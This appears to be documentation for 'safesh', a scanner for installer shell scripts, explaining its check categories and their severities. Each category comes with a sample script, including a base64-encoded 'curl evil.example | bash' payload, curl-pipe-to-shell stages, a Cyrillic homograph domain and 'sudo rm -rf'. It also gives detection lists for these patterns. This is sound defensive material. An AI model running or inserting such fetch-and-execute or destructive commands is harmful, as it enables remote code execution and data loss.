execution-integrity
warning
The script omits one or more strict-mode flags, so failures may be silently ignored.
What it looks for
- A missing
set -e at the top level of the script
- A missing
set -u at the top level of the script
- A missing
set -o pipefail at the top level of the script
Only set calls in the script's top-level body count. Flags inside functions,
if branches, loops, or subshells don't apply to the whole script and won't
satisfy the check.
Why it matters
Without set -e a failed command (a missing dependency, a network blip, a typo
in a path) doesn't stop the script — later commands keep running on top of broken state.
Without set -u an unset variable expands to an empty string, so
rm -rf "$PREFIX/$DIR" can become rm -rf /. Without
pipefail a failure in any non-final pipeline stage is hidden by the success
of the last one.
Why this severity
Warning — not critical — because safesh injects set -euo pipefail as a
preamble before execution regardless of whether the script set them itself. The finding
tells you the author wasn't being careful; safesh enforces the floor anyway.
A common shape that trips this check
#!/usr/bin/env bash
# no `set -euo pipefail` here — install proceeds even if a step fails
curl -fsSL https://example.com/binary -o /usr/local/bin/tool
chmod +x /usr/local/bin/tool # runs even if curl failed
destructive
critical
The script invokes a command that can irreversibly remove or overwrite data.
What it looks for
rm with any recursive or force flag: -r, -f, -rf, -fr, -Rf, -fR
- Any invocation of
dd
- Any invocation of
mkfs or mkfs.* (e.g. mkfs.ext4)
- Any invocation of
shred
truncate with -s 0, --size=0, or --size 0
Privilege wrappers (sudo, doas, pkexec, runuser) are
peeled off before the inner command is checked, so sudo rm -rf /opt/foo is
flagged just like rm -rf /opt/foo.
Why it matters
These commands have no undo. Combined with an unset variable or a path the author
didn't expect, a single line can wipe a home directory, blank a disk, or zero a
partition. Many production-incident postmortems trace back to exactly one of these
calls running with the wrong argument.
Why this severity
Critical — the blast radius is total and irreversible. An installer almost never
legitimately needs to run dd or mkfs; rm -rf
on a known sub-path is sometimes legitimate ("clean before reinstall") but always
deserves a deliberate look.
A "clean before install" pattern that trips this check
#!/usr/bin/env bash
set -euo pipefail
INSTALL_DIR="\${PREFIX:-}/myapp" # PREFIX may be unset → "/myapp" or worse
sudo rm -rf "\$INSTALL_DIR" # flagged: rm -rf, even through sudo
privilege
warning
The script asks for elevated privileges to run one or more commands.
What it looks for
- Direct invocations of
sudo, su, pkexec, doas, or runuser
The check fires once per call site so you can see, by line number, exactly where the
script crosses the user / root boundary.
Why it matters
Once a command runs as root, every other safety net you have — file permissions,
per-user PATH, sandbox profiles tied to your UID — stops applying. A typo, a stale
variable, or an unexpected branch in the script can now affect the whole machine.
Equally important: you need to know in advance, so you can decide whether to enter
your password.
Why this severity
Warning — installers legitimately use sudo to drop binaries into
/usr/local/bin or write a launchd / systemd unit. The point isn't to block
it; the point is to make sure the prompt for your password isn't the first time you
learn this script wants root.
Typical installer asking for root
#!/usr/bin/env bash
set -euo pipefail
sudo install -m 0755 ./tool /usr/local/bin/tool
sudo chown root:root /usr/local/bin/tool
persistence
warning
The script makes a change that outlives the install — across new shells, logins, or reboots.
What it looks for
- Redirects (
>, >>) into shell rc files: .bashrc, .zshrc, .bash_profile, .zprofile, .profile, .bash_login, .zlogin, .config/fish/config.fish
- Redirects into system-wide profile files:
/etc/profile, /etc/profile.d/, /etc/environment, /etc/bash.bashrc, /etc/zsh/
- Redirects into cron paths:
crontab, /etc/cron…, /var/spool/cron
- Redirects into systemd unit paths:
.config/systemd, /etc/systemd
- Redirects into X-session autostart paths:
.xinitrc, .xprofile, .config/autostart
- Direct invocations of
crontab
- Calls to
systemctl enable …
Why it matters
A script that finishes successfully and exits is bounded in time. A script that adds a
line to your ~/.bashrc, drops a launch agent, or enables a systemd service
keeps running — every shell you open, every time you log in, every time you boot. That
is exactly the foothold an attacker wants and exactly the side-effect a careless
installer leaves behind.
Why this severity
Warning — most language version managers and shell tools legitimately add a line to
your rc file. The category exists so you notice which file is being modified
and what is being added before it's a permanent part of every session.
An rc-file append — common, but worth seeing first
#!/usr/bin/env bash
set -euo pipefail
echo 'export PATH="\$HOME/.tool/bin:\$PATH"' >> "\$HOME/.bashrc"
systemctl --user enable tool-agent.service
network
info
The script reaches out to the network — every destination it contacts is listed.
What it looks for
- Invocations of
curl, wget, fetch, http, or httpie
- For each call, the resolved
http:// / https:// hostname(s) are extracted and reported alongside the line
- Calls whose URL is a variable or a command substitution are flagged with "destination unresolvable — uses dynamic URL"
Why it matters
You're already running a downloader script. The interesting question is: what else
will it download? A script that pulls a binary from a vendor's CDN looks very
different from one that pulls a payload from a host you've never heard of, or
constructs the URL at runtime so a reviewer can't see the destination.
Why this severity
Info — fetching a binary is the literal point of most installers. The signal is in
where it goes. Use this category to spot suspicious or dynamic destinations,
not to flag the practice itself.
A static fetch and a dynamic one — both surfaced
#!/usr/bin/env bash
set -euo pipefail
curl -fsSL https://releases.example.com/v2.1.0/tool -o tool
STAGE2_URL="\$(printf 'https://%s/payload' "\$REMOTE_HOST")"
curl -fsSL "\$STAGE2_URL" -o stage2 # destination unresolvable
obfuscation
critical
The script hides what it actually executes — what you read isn't what runs.
What it looks for
- Direct calls to
eval
- Calls to
base64 with -d, --decode, or -D
- The pipe pattern
base64 ... | bash (or sh, zsh, dash, fish, ksh, mksh) — base64-decoded content piped directly into a shell
Why it matters
Static analysis — and human review — works on the source you can see. eval
and base64 -d | bash defeat both: the actual instructions are constructed
at runtime, are not legible in the file, and are deliberately illegible to any tool
looking for risky idioms. There is no benign reason to ship an installer this way.
Why this severity
Critical — obfuscation is intentional concealment of intent. Even when the encoded
payload is innocuous, the choice to hide it from review is itself a red flag. This is
one of the few categories where the right default is "stop and read the encoded blob
before continuing."
The textbook hide-the-payload pattern
#!/usr/bin/env bash
set -euo pipefail
echo 'Y3VybCAtZnNTTCBodHRwczovL2V2aWwuZXhhbXBsZS9wYXlsb2FkIHwgYmFzaA==' \
| base64 -d | bash # flagged: base64 → shell
execution-chain
critical
The script is itself a curl-pipe-to-shell — recursing the very pattern you're guarding against.
What it looks for
- Any pipeline (
|) whose right-hand command is a known shell: bash, sh, zsh, dash, fish, ksh, or mksh
- The left-hand command is reported alongside (typically
curl, wget, or similar) so the full pipe-to-shell shape is visible
Why it matters
You ran the outer script through safesh because piping arbitrary remote code into a
shell is risky. A script that internally does the same thing — fetches more
code from another URL and pipes it into bash — escapes safesh's view
entirely. The second-stage script is never buffered, never analyzed, never confirmed.
Why this severity
Critical — by design, this pattern routes around every safety property of the outer
run. If you'd say no to curl ... | bash at the prompt, you should say no
to a script that does it for you.
A nested pipe that bypasses safesh's protections
#!/usr/bin/env bash
set -euo pipefail
# Outer script was buffered and analyzed; this stage is not.
curl -fsSL https://example.com/stage2.sh | bash
homograph
critical
The script contains Unicode that can make rendered text differ from executed text.
What it looks for
- Bidirectional formatting controls anywhere in the source: LRE, RLE, PDF, LRO, RLO, LRI, RLI, FSI, PDI (U+202A–U+202E, U+2066–U+2069)
- Zero-width / invisible characters: ZWSP, ZWNJ, ZWJ, WJ, BOM (U+200B–U+200D, U+2060, U+FEFF)
- URL hostnames containing any non-ASCII character (potential IDN homograph)
- URL hostnames where a single label mixes scripts — e.g. Latin and Cyrillic in the same word ("раypal.com")
Why it matters
A bidi override character can flip the apparent order of subsequent text in a code
editor or terminal so that a line reading curl https://good.example | bash
actually executes curl https://evil.example | bash — the bytes don't lie,
but the rendering does. Zero-width characters can splice identifiers (cu<ZWJ>rl)
to fool naive grep-based review. IDN homograph attacks substitute Cyrillic
а for Latin a in a domain so a familiar-looking URL points
somewhere else entirely.
Why this severity
Critical — these techniques exist for one reason: to make malicious code look benign
to a human reviewer. Pure-ASCII installer scripts are the norm; any deviation deserves
to be looked at carefully.
An IDN homograph hiding behind a familiar-looking host
#!/usr/bin/env bash
set -euo pipefail
# 'раypal.com' below uses Cyrillic 'р' and 'а' — not the Latin letters.
# The host renders as 'paypal.com' but resolves to a different domain.
curl -fsSL https://раypal.com/checkout.sh | bash